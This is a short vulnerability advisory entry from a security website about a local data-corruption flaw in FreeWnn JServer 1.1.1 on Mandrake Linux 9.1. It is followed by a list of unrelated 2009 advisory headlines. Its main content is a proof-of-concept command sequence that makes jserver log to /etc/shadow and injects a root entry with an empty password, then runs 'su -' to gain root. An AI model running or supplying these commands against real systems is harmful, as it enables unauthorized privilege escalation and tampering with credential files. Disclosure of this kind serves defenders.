exploits , vulnerabilities , articles , FreeWnn JServer Logging Option Data Corruption Vulnerability

Title	FreeWnn JServer Logging Option Data Corruption Vulnerability
Published	2003-06-14-12:00AM
Updated	2003-06-14-07:48PM
Class	Design Error
CVE	CVE-MAP-NOMATCH
Remote	No
Local	Yes
Credit	Discovery of this vulnerability credited to Stefano Di Paola <st0r1e@libero.it>.
Vulnerable	FreeWnn FreeWnn 1.1.1 MandrakeSoft Linux Mandrake 9.1
Not Vulnerable
Code	The following proof of concept was provided: $>/usr/bin/Wnn4/jserver -s /etc/shadow $>/usr/bin/Wnn4/wddel -D localhost -n ' > root::12146:0:99999:7::: > bin:*:12146:0:99999:7::: > daemon:*:12146:0:99999:7::: > adm:*:12146:0:99999:7::: > lp:*:12146:0:99999:7::: > sync:*:12146:0:99999:7::: > shutdown:*:12146:0:99999:7::: > halt:*:12146:0:99999:7::: > ' -d 123 $>su -
TXT

Vulnerabilities - newest 10 RSS | More

• 2009-12-17 iDevSpot iSupport Multiple Cross Site Scripting Vulnerabilities
• 2009-12-17 GNU Automake Insecure Directory Permissions Vulnerability
• 2009-12-17 Mozilla Firefox CVE-2009-3979 Multiple Remote Memory Corruption Vulnerabilities
• 2009-12-17 Mozilla Firefox CVE-2009-3981 Remote Memory Corruption Vulnerability
• 2009-12-17 Drupal Sections Module HTML Injection Vulnerability
• 2009-12-17 Mozilla Firefox and SeaMonkey Theora Video Library Remote Integer Overflow Vulnerability
• 2009-12-17 Mozilla Firefox and Sea Monkey Insecure Protocol Location Bar Spoofing Vulnerability
• 2009-12-17 Mozilla Firefox and Sea Monkey Content Injection Spoofing Vulnerability
• 2009-12-17 Mozilla Firefox/SeaMonkey GeckoActiveXObject Exception Message COM Object Enumeration Vulnerability
• 2009-12-16 ZABBIX Denial Of Service and SQL Injection Vulnerabilities

• Vulnerabilities
• Exploits
• News
• Articles

Copyright 2007, SecurityDot
Thu, 17 Dec 2009 19:47:41 +0000